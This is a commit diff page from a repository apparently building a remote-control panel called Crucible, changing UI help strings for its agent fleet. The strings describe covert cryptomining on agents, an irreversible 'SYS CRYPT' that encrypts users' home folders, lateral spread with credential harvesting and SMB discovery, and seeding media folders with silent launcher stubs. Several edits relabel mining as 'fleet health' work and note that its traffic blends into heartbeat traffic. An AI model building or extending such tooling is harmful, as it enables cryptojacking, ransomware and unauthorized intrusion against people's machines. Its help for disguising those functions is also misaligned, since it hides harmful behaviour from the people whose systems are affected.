drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

Browse Source
This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

14
server/web/src/help/uiHelp.ts
View File

@@ -36,7 +36,7 @@ export const UI_HELP: Record<string, string> = {
crucible_heat_map:
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
crucible_groups:
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_tab_ops:
@@ -50,11 +50,11 @@ export const UI_HELP: Record<string, string> = {
crucible_tab_tunnels:
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
crucible_mining_ops:
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
crucible_resume:
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
'Fleet health job: restore hashing workload after a pause or idle throttle.',
crucible_pause:
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
crucible_full_audit:
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
crucible_posture_badge:
@@ -84,7 +84,11 @@ export const UI_HELP: Record<string, string> = {
crucible_section_destructive:
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
crucible_section_spread:
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
crucible_section_cred_graph:
'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
crucible_section_service_graph:
'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
crucible_section_seek:
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
crucible_section_ssh: